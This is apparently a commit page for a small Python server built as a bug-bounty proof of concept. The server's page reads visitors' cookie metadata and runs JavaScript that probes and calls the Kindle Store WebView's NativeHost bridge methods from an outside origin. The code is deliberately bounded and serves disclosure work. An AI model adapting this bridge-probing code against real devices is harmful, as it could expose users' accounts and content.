Spaces:
Sleeping
Sleeping
??? commited on
Serve bounded request and bridge metadata without retaining credentials
Browse filesFiles changed (3)
- DockerfileAdded+6
- README.md+2-1
- server.pyAdded+61
123456FROM python:3.12-alpineWORKDIR /appCOPY server.py /app/server.pyEXPOSE 7860CMD ["python", "/app/server.py"]
2 unmodified lines34567891011122 unmodified linesemoji: 🔬colorFrom: bluecolorTo: graysdk: staticpinned: falselicense: mit---Researcher-controlled static endpoint for a bounded Amazon VRP validation.2 unmodified lines3456789101112132 unmodified linesemoji: 🔬colorFrom: bluecolorTo: graysdk: dockerpinned: falselicense: mit---Researcher-controlled static endpoint for a bounded Amazon VRP validation.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061import hashlibimport htmlfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
def cookie_metadata(raw): rows = [] for part in raw.split(";") if raw else []: name, sep, value = part.strip().partition("=") if not sep: continue rows.append({ "name": name, "length": len(value), "sha256_prefix": hashlib.sha256(value.encode()).hexdigest()[:16], }) return rows
class Handler(BaseHTTPRequestHandler): def log_message(self, fmt, *args): # Do not persist request headers or credential values. pass
def do_GET(self): rows = cookie_metadata(self.headers.get("Cookie", "")) table = "".join( "<tr><td>%s</td><td>%d</td><td>%s</td></tr>" % ( html.escape(row["name"]), row["length"], row["sha256_prefix"] ) for row in rows ) or "<tr><td colspan=3>none</td></tr>" body = f'''<!doctype html><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Amazon VRP Kindle Store validation</title><style>body{{font:18px sans-serif;padding:24px}}pre,table{{padding:12px;background:#eee}}td,th{{padding:6px}}</style><h1>Amazon VRP validation page</h1><p id="marker">KSTORE_HOST_BOUNDARY_20261117</p><h2>Server-observed cookie metadata</h2><table><tr><th>Name</th><th>Value length</th><th>SHA-256 prefix</th></tr>{table}</table><h2>Bounded bridge checks</h2><pre id="result">Running…</pre><script>(() => {{ const r={{marker:"KSTORE_HOST_BOUNDARY_20261117",origin:location.origin, nativeHostPresent:typeof NativeHost!=="undefined",storeWebViewPresent:typeof StoreWebView!=="undefined"}}; if(r.nativeHostPresent){{ try{{r.accessibilityEnabled=NativeHost.getAccessibilityStatus()}}catch(e){{r.accessibilityError=String(e)}} try{{r.syntheticContentOwned=NativeHost.isContentOnDevice("B000000000","EBOK")}}catch(e){{r.contentError=String(e)}} try{{NativeHost.showNotificationDialog("Amazon VRP safe validation","A researcher-controlled HTTPS origin invoked the Kindle Store bridge. No purchase, download, or account change was attempted.");r.dialogInvoked=true}}catch(e){{r.dialogError=String(e)}} }} document.getElementById("result").textContent=JSON.stringify(r,null,2);}})();</script>'''.encode() self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Cache-Control", "no-store") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body)
ThreadingHTTPServer(("0.0.0.0", 7860), Handler).serve_forever()DockerfileAdded+6
README.md+2-1
server.pyAdded+61